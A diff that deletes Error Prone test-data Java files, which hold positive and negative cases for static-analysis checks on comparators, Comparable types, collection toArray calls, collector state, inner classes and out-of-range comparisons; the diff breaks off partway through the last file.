a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticPositiveCase1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticPositiveCase1.java deleted file mode 100644 index 5711455f1d5..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticPositiveCase1.java +++ /dev/null @@ -1,31 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author alexloh@google.com (Alex Loh) - */ -public class ClassCanBeStaticPositiveCase1 { - - int outerVar; - - // Non-static inner class that does not use outer scope - // BUG: Diagnostic contains: static class Inner1 - class Inner1 { - int innerVar; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticPositiveCase2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticPositiveCase2.java deleted file mode 100644 index 626c07e3194..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticPositiveCase2.java +++ /dev/null @@ -1,37 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author alexloh@google.com (Alex Loh) - */ -public class ClassCanBeStaticPositiveCase2 { - - int outerVar1; - int outerVar2; - - // Outer variable overridden - // BUG: Diagnostic contains: private /* COMMENT */ static final class Inner2 - private /* COMMENT */ final class Inner2 { - int outerVar1; - int innerVar = outerVar1; - - int localMethod(int outerVar2) { - return outerVar2; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticPositiveCase3.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticPositiveCase3.java deleted file mode 100644 index 9a222b61d25..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticPositiveCase3.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author alexloh@google.com (Alex Loh) - */ -public class ClassCanBeStaticPositiveCase3 { - - static int outerVar; - - // Nested non-static inner class inside a static inner class - static class NonStaticOuter { - int nonStaticVar = outerVar; - // BUG: Diagnostic contains: public static class Inner3 - public class Inner3 {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectionToArraySafeParameterNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectionToArraySafeParameterNegativeCases.java deleted file mode 100644 index dbcda5316b2..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectionToArraySafeParameterNegativeCases.java +++ /dev/null @@ -1,70 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import java.util.ArrayList; -import java.util.Collection; -import java.util.HashSet; - -/** - * @author mariasam@google.com (Maria Sam) on 6/27/17. - */ -public class CollectionToArraySafeParameterNegativeCases { - - private void basicCase() { - Collection collection = new ArrayList(); - Collection collInts = new ArrayList(); - - Object[] intArrayActualNoParam = collInts.toArray(); - Integer[] intArrayActual = collInts.toArray(new Integer[collection.size()]); - - Collection collectionObjects = new ArrayList<>(); - Integer[] intArrayObjects = collectionObjects.toArray(new Integer[collectionObjects.size()]); - - Integer[] arrayOfInts = new Integer[10]; - Integer[] otherArray = collInts.toArray(arrayOfInts); - - Collection> collectionOfCollection = new ArrayList>(); - Collection[] collectionOfCollectionArray = - collectionOfCollection.toArray(new ArrayList[10]); - - SomeObject someObject = new SomeObject(); - Integer[] someObjectArray = someObject.toArray(new Integer[1]); - - // test to make sure that when the collection has no explicit type there is no error thrown - // when "toArray" is called. - Collection someObjects = new ArrayList(); - Object[] intArray = someObjects.toArray(new Integer[1]); - } - - class FooBar extends HashSet {} - - void testFooBar(FooBar fooBar) { - Integer[] things = fooBar.toArray(new Integer[] {}); - } - - class Foo extends HashSet {} - - void test(Foo foo) { - String[] things = foo.toArray(new String[] {}); - } - - class SomeObject { - Integer[] toArray(Integer[] someArray) { - return new Integer[10]; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectionToArraySafeParameterPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectionToArraySafeParameterPositiveCases.java deleted file mode 100644 index 052959d9f77..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectionToArraySafeParameterPositiveCases.java +++ /dev/null @@ -1,59 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import java.util.ArrayList; -import java.util.Collection; -import java.util.HashSet; -import java.util.Set; - -/** - * @author mariasam@google.com (Maria Sam) on 6/27/17. - */ -public class CollectionToArraySafeParameterPositiveCases { - - private static void basicCase() { - Collection collection = new ArrayList(); - // BUG: Diagnostic contains: array parameter - Integer[] intArray = collection.toArray(new Integer[collection.size()]); - - Integer[] arrayOfInts = new Integer[10]; - // BUG: Diagnostic contains: array parameter - Integer[] wrongArray = collection.toArray(arrayOfInts); - - Set integerSet = new HashSet(); - // BUG: Diagnostic contains: array parameter - Long[] longArray = integerSet.toArray(new Long[10]); - - Set longSet = new HashSet(); - // BUG: Diagnostic contains: array parameter - Integer[] integerArray = longSet.toArray(new Integer[10]); - } - - void test(Foo foo) { - // BUG: Diagnostic contains: array parameter - String[] things = foo.toArray(new String[] {}); - } - - void test(FooBar foo) { - // BUG: Diagnostic contains: array parameter - Integer[] things = foo.toArray(new Integer[] {}); - } - - class FooBar extends HashSet {} - - class Foo extends HashSet {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectorShouldNotUseStateNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectorShouldNotUseStateNegativeCases.java deleted file mode 100644 index 571dfdad475..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectorShouldNotUseStateNegativeCases.java +++ /dev/null @@ -1,45 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.collect.ImmutableList; -import com.google.common.collect.ImmutableList.Builder; -import java.util.function.BiConsumer; -import java.util.stream.Collector; - -/** - * @author sulku@google.com (Marsela Sulku) - */ -public class CollectorShouldNotUseStateNegativeCases { - public void test() { - Collector.of( - ImmutableList::builder, - new BiConsumer, Object>() { - private static final String bob = "bob"; - - @Override - public void accept(Builder objectBuilder, Object o) { - if (bob.equals("bob")) { - System.out.println("bob"); - } else { - objectBuilder.add(o); - } - } - }, - (left, right) -> left.addAll(right.build()), - ImmutableList.Builder::build); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectorShouldNotUseStatePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectorShouldNotUseStatePositiveCases.java deleted file mode 100644 index 494a13bb946..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectorShouldNotUseStatePositiveCases.java +++ /dev/null @@ -1,69 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.collect.ImmutableList; -import com.google.common.collect.ImmutableList.Builder; -import java.util.function.BiConsumer; -import java.util.stream.Collector; - -/** - * @author sulku@google.com (Marsela Sulku) - */ -public class CollectorShouldNotUseStatePositiveCases { - public void test() { - // BUG: Diagnostic contains: Collector.of() should not use state - Collector.of( - ImmutableList::builder, - new BiConsumer, Object>() { - - boolean isFirst = true; - private static final String bob = "bob"; - - @Override - public void accept(Builder objectBuilder, Object o) { - if (isFirst) { - System.out.println("it's first"); - } else { - objectBuilder.add(o); - } - } - }, - (left, right) -> left.addAll(right.build()), - ImmutableList.Builder::build); - - // BUG: Diagnostic contains: Collector.of() should not use state - Collector.of( - ImmutableList::builder, - new BiConsumer, Object>() { - - boolean isFirst = true; - private final String bob = "bob"; - private final String joe = "joe"; - - @Override - public void accept(Builder objectBuilder, Object o) { - if (isFirst) { - System.out.println("it's first"); - } else { - objectBuilder.add(o); - } - } - }, - (left, right) -> left.addAll(right.build()), - ImmutableList.Builder::build); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableAndComparatorNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableAndComparatorNegativeCases.java deleted file mode 100644 index 963d7b4fda6..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableAndComparatorNegativeCases.java +++ /dev/null @@ -1,92 +0,0 @@ -/* Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Comparator; - -/** Created by mariasam on 6/5/17. */ -public class ComparableAndComparatorNegativeCases { - - /** Class that implements comparable, but also defines a comparator */ - public static class ComparableAndComparatorNested - implements Comparable { - - /** Comparator */ - private static final Comparator myComparator = - new Comparator() { - - @Override - public int compare(ComparableAndComparatorNested o1, ComparableAndComparatorNested o2) { - return 0; - } - }; - - @Override - public int compareTo(ComparableAndComparatorNested o) { - return 0; - } - } - - /** class that only implements comparable */ - public static class OnlyComparable implements Comparable { - - @Override - public int compareTo(OnlyComparable o) { - return 0; - } - } - - /** class that only implements comparator */ - public static class OnlyComparator implements Comparator { - @Override - public int compare(OnlyComparator o1, OnlyComparator o2) { - return 0; - } - } - - /** This test case is here to increase readability */ - // BUG: Diagnostic contains: Class should not implement both - public static class BadClass implements Comparable, Comparator { - @Override - public int compareTo(BadClass comparableNode) { - return 0; - } - - @Override - public int compare(BadClass a, BadClass b) { - return 0; - } - } - - /** Subclass should not cause error */ - public static class BadClassSubclass extends BadClass { - public int sampleMethod() { - return 0; - } - } - - /** Enums implementing comparator are ok */ - enum TestEnum implements Comparator { - MONDAY, - TUESDAY, - WEDNESDAY; - - @Override - public int compare(Integer one, Integer two) { - return 0; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableAndComparatorPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableAndComparatorPositiveCases.java deleted file mode 100644 index 57b7bb85a44..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableAndComparatorPositiveCases.java +++ /dev/null @@ -1,56 +0,0 @@ -/* Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Comparator; - -/** - * @author sulku@google.com (Marsela Sulku) - * @author mariasam@google.com (Maria Sam) - */ -public class ComparableAndComparatorPositiveCases { - - /** implements both interfaces */ - // BUG: Diagnostic contains: Class should not implement both - public static class BadClass implements Comparable, Comparator { - @Override - public int compareTo(BadClass comparableNode) { - return 0; - } - - @Override - public int compare(BadClass a, BadClass b) { - return 0; - } - } - - /** Superclass test class */ - public static class SuperClass implements Comparator { - @Override - public int compare(SuperClass o1, SuperClass o2) { - return 0; - } - } - - /** SubClass test class */ - // BUG: Diagnostic contains: Class should not implement both - public static class SubClass extends SuperClass implements Comparable { - @Override - public int compareTo(SubClass o) { - return 0; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableTypeNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableTypeNegativeCases.java deleted file mode 100644 index 54c7632688d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableTypeNegativeCases.java +++ /dev/null @@ -1,112 +0,0 @@ -/* Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.io.Serializable; -import java.util.Comparator; - -public class ComparableTypeNegativeCases { - - /** Class that implements comparable, with castable type */ - public static class ComparableTypeNegative implements Comparable { - - @Override - public int compareTo(ComparableTypeNegative o) { - return 0; - } - } - - /** abstract class that implements comparable */ - public abstract static class OnlyComparable implements Comparable {} - - /** class that implements comparable and something else like Serializable */ - public static class SerializableComparable - implements Serializable, Comparable { - - @Override - public int compareTo(SerializableComparable o) { - return 0; - } - } - - /** class that implements comparable and something else with a type */ - public static class SomeClass implements Comparable, Comparator { - @Override - public int compareTo(SomeClass comparableNode) { - return 0; - } - - @Override - public int compare(SomeClass a, SomeClass b) { - return 0; - } - } - - // Example interfaces - interface Door {} - - public static class HalfOpen implements Door {} - - // BUG: Diagnostic contains: [ComparableType] - static final class Open extends HalfOpen implements Comparable { - @Override - public int compareTo(Door o) { - return 0; - } - } - - public static class A {} - - // BUG: Diagnostic contains: [ComparableType] - public static class B extends A implements Comparable { - - @Override - public int compareTo(A o) { - return 0; - } - } - - // ignore enums - enum Location { - TEST_TARGET - } - - public abstract static class AClass implements Comparable {} - - public static class BClass extends AClass { - @Override - public int compareTo(AClass o) { - return 0; - } - } - - abstract class Foo implements Comparable> {} - - class T extends Foo { - public int compareTo(Foo o) { - return 0; - } - } - - // BUG: Diagnostic contains: [ComparableType] - static final class XGram implements Comparable { - - @Override - public int compareTo(Object o) { - return 0; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableTypePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableTypePositiveCases.java deleted file mode 100644 index 4dc3d31f2a0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableTypePositiveCases.java +++ /dev/null @@ -1,133 +0,0 @@ -/* Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.io.Serializable; -import java.util.Comparator; - -public class ComparableTypePositiveCases { - - // BUG: Diagnostic contains: [ComparableType] - public static class CompareClass implements Comparable { - - @Override - public int compareTo(Integer o) { - return 0; - } - } - - // BUG: Diagnostic contains: [ComparableType] - public static class SerializableComparable implements Serializable, Comparable { - - @Override - public int compareTo(Long o) { - return 0; - } - } - - // BUG: Diagnostic contains: [ComparableType] - public static class ComparableSerializable implements Comparable, Serializable { - - @Override - public int compareTo(Long o) { - return 0; - } - } - - // BUG: Diagnostic contains: [ComparableType] - public static class BadClass implements Comparable, Comparator { - - @Override - public int compareTo(Double o) { - return 0; - } - - @Override - public int compare(Double o1, Double o2) { - return 0; - } - } - - // BUG: Diagnostic contains: [ComparableType] - public static class AnotherBadClass implements Comparator, Comparable { - - @Override - public int compareTo(Double o) { - return 0; - } - - @Override - public int compare(Double o1, Double o2) { - return 0; - } - } - - public static class A {} - - public static class B extends A {} - - // BUG: Diagnostic contains: [ComparableType] - public static class C extends A implements Comparable { - - @Override - public int compareTo(B o) { - return 0; - } - } - - interface Foo {} - - // BUG: Diagnostic contains: [ComparableType] - static final class Open implements Comparable { - @Override - public int compareTo(Foo o) { - return 0; - } - } - - // BUG: Diagnostic contains: [ComparableType] - public abstract static class AClass implements Comparable {} - - public static class BClass extends AClass { - @Override - public int compareTo(Integer o) { - return 0; - } - } - - // found via flume - public static class SpendXGetYValues { - public Comparable yToXRatio() { - // BUG: Diagnostic contains: [ComparableType] - return new Comparable() { - @Override - public int compareTo(SpendXGetYValues other) { - return 0; - } - }; - } - } - - // BUG: Diagnostic contains: [ComparableType] - public abstract static class One implements Comparable {} - - public static class Two extends One { - @Override - public int compareTo(Integer o) { - return 0; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonContractViolatedNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonContractViolatedNegativeCases.java deleted file mode 100644 index 3e562418286..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonContractViolatedNegativeCases.java +++ /dev/null @@ -1,43 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -public class ComparisonContractViolatedNegativeCases { - abstract static class IntOrInfinity implements Comparable {} - - static class IntOrInfinityInt extends IntOrInfinity { - private final int value; - - IntOrInfinityInt(int value) { - this.value = value; - } - - @Override - public int compareTo(IntOrInfinity o) { - return (o instanceof IntOrInfinityInt) - ? Integer.compare(value, ((IntOrInfinityInt) o).value) - : 1; - } - } - - static class NegativeInfinity extends IntOrInfinity { - @Override - public int compareTo(IntOrInfinity o) { - return (o instanceof NegativeInfinity) ? 0 : -1; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonContractViolatedPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonContractViolatedPositiveCases.java deleted file mode 100644 index 4fb60df2fdc..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonContractViolatedPositiveCases.java +++ /dev/null @@ -1,125 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Comparator; - -public class ComparisonContractViolatedPositiveCases { - - static final int POSITIVE_CONSTANT = 50; - - static class Struct { - int intField; - long longField; - - @Override - public boolean equals(Object o) { - return o instanceof Struct - && intField == ((Struct) o).intField - && longField == ((Struct) o).longField; - } - - @Override - public int hashCode() { - return intField + (int) longField; - } - } - - static final Comparator intComparisonNoZero1 = - new Comparator() { - @Override - public int compare(Struct left, Struct right) { - // BUG: Diagnostic contains: Integer.compare(left.intField, right.intField) - return (left.intField < right.intField) ? -1 : 1; - } - }; - - static final Comparator intComparisonNoZero2 = - new Comparator() { - @Override - public int compare(Struct left, Struct right) { - // BUG: Diagnostic contains: Integer.compare(left.intField, right.intField) - return (right.intField < left.intField) ? 1 : -1; - } - }; - - static final Comparator intComparisonNoZero3 = - new Comparator() { - @Override - public int compare(Struct left, Struct right) { - // BUG: Diagnostic contains: Integer.compare(left.intField, right.intField) - return (left.intField > right.intField) ? 1 : -1; - } - }; - - static final Comparator intComparisonNoZero4 = - new Comparator() { - @Override - public int compare(Struct left, Struct right) { - // BUG: Diagnostic contains: Integer.compare(left.intField, right.intField) - return (left.intField <= right.intField) ? -1 : 1; - } - }; - - static final Comparator longComparisonNoZero1 = - new Comparator() { - @Override - public int compare(Struct left, Struct right) { - // BUG: Diagnostic contains: Long.compare(left.longField, right.longField) - return (left.longField < right.longField) ? -1 : 1; - } - }; - - static final Comparator longComparisonNoZero2 = - new Comparator() { - @Override - public int compare(Struct left, Struct right) { - // BUG: Diagnostic contains: Long.compare(left.longField, right.longField) - return (left.longField < right.longField) ? -1 : POSITIVE_CONSTANT; - } - }; - - static final Comparator zeroOrOneComparator = - new Comparator() { - - @Override - // BUG: Diagnostic contains: violates the contract - public int compare(Struct o1, Struct o2) { - return o1.equals(o2) ? 0 : 1; - } - }; - - static final Comparator zeroOrNegativeOneComparator = - new Comparator() { - - @Override - // BUG: Diagnostic contains: violates the contract - public int compare(Struct o1, Struct o2) { - return o1.equals(o2) ? 0 : -1; - } - }; - - static final Comparator zeroOrPositiveConstantComparator = - new Comparator() { - - @Override - // BUG: Diagnostic contains: violates the contract - public int compare(Struct o1, Struct o2) { - return o1.equals(o2) ? 0 : POSITIVE_CONSTANT; - } - }; -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonOutOfRangeNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonOutOfRangeNegativeCases.java deleted file mode 100644 index 5ef57e39fda..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonOutOfRangeNegativeCases.java +++ /dev/null @@ -1,118 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.io.IOException; -import java.io.Reader; - -/** - * @author Bill Pugh (bill.pugh@gmail.com) - */ -class ComparisonOutOfRangeNegativeCases { - - void byteEquality() { - boolean result; - byte b = 0; - byte[] barr = {1, 2, 3}; - - result = b == 1; - result = b == -2; - result = b == 127; - result = b != 1; - - result = b == (byte) 255; - - result = b == 'a'; // char - result = b == 1L; // long - result = b == 1.123f; // float - result = b == 1.123; // double - - result = barr[0] == 1; - result = barr[0] == -2; - result = barr[0] == -128; - } - - void charEquality() throws IOException { - boolean result; - char c = 'A'; - Reader reader = null; - - result = c == 0; - result = c == 0xffff; - - result = c == 1L; // long - result = c == 1.123f; // float - result = c == 1.123; // double - - int d; - result = (d = reader.read()) == -1; - } - - void shorts(short s) { - boolean result; - - result = s == Short.MAX_VALUE; - result = s == Short.MIN_VALUE; - - result = s != Short.MAX_VALUE; - result = s != Short.MIN_VALUE; - - result = s > Short.MAX_VALUE - 1; - result = s > Short.MIN_VALUE; - - result = s >= Short.MAX_VALUE; - result = s >= Short.MIN_VALUE + 1; - - result = s < Short.MIN_VALUE + 1; - result = s < Short.MAX_VALUE; - - result = s <= Short.MIN_VALUE; - result = s <= Short.MAX_VALUE - 1; - } - - void shortsReversed(short s) { - boolean result; - - result = Short.MAX_VALUE - 1 < s; - result = Short.MIN_VALUE < s; - - result = Short.MAX_VALUE <= s; - result = Short.MIN_VALUE + 1 <= s; - - result = Short.MIN_VALUE + 1 > s; - result = Short.MAX_VALUE > s; - - result = Short.MIN_VALUE >= s; - result = Short.MAX_VALUE - 1 >= s; - } - - void ints(int i) { - boolean result; - - result = i == (long) Integer.MAX_VALUE; - } - - void longs(long l) { - boolean result; - - result = l == (double) Long.MIN_VALUE; - } - - String binaryTreeMixingByteWithNonNumeric(byte b) { - return "value is: " + b; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonOutOfRangePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonOutOfRangePositiveCases.java deleted file mode 100644 index 4e838e06c66..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonOutOfRangePositiveCases.java +++ /dev/null @@ -1,147 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.io.IOException; -import java.io.Reader; -import java.util.function.Supplier; - -/** - * @author Bill Pugh (bill.pugh@gmail.com) - */ -class ComparisonOutOfRangePositiveCases { - private static final int NOT_A_BYTE = 255; - - void byteEquality() { - boolean result; - byte b = 0; - byte[] barr = {1, 2, 3}; - - // BUG: Diagnostic contains: b == -1 - result = b == 255; - // BUG: Diagnostic contains: b == 1 - result = b == -255; - // BUG: Diagnostic contains: b == -128 - result = b == 128; - // BUG: Diagnostic contains: b != -1 - result = b != 255; - - // BUG: Diagnostic contains: barr[0] == -1 - result = barr[0] == 255; - // BUG: Diagnostic contains: - result = barr[0] == 128; - // BUG: Diagnostic contains: bytes - result = barr[0] == -255; - - // BUG: Diagnostic contains: b == -1 - result = b == NOT_A_BYTE; - - Byte boxed = 0; - // BUG: Diagnostic contains: - result = boxed == 255; - Supplier bSupplier = null; - // BUG: Diagnostic contains: - result = bSupplier.get() == 255; - } - - void charEquality() throws IOException { - boolean result; - char c = 'A'; - Reader reader = null; - - // BUG: Diagnostic contains: false - result = c == -1; - // BUG: Diagnostic contains: true - result = c != -1; - - char d; - // BUG: Diagnostic contains: chars - result = (d = (char) reader.read()) == -1; - } - - void shorts(short s) { - boolean result; - - // BUG: Diagnostic contains: false - result = s == Short.MAX_VALUE + 1; - // BUG: Diagnostic contains: false - result = s == Short.MIN_VALUE - 1; - - // BUG: Diagnostic contains: true - result = s != Short.MAX_VALUE + 1; - // BUG: Diagnostic contains: true - result = s != Short.MIN_VALUE - 1; - - // BUG: Diagnostic contains: false - result = s > Short.MAX_VALUE; - // BUG: Diagnostic contains: true - result = s > Short.MIN_VALUE - 1; - - // BUG: Diagnostic contains: false - result = s >= Short.MAX_VALUE + 1; - // BUG: Diagnostic contains: true - result = s >= Short.MIN_VALUE; - - // BUG: Diagnostic contains: false - result = s < Short.MIN_VALUE; - // BUG: Diagnostic contains: true - result = s < Short.MAX_VALUE + 1; - - // BUG: Diagnostic contains: false - result = s <= Short.MIN_VALUE - 1; - // 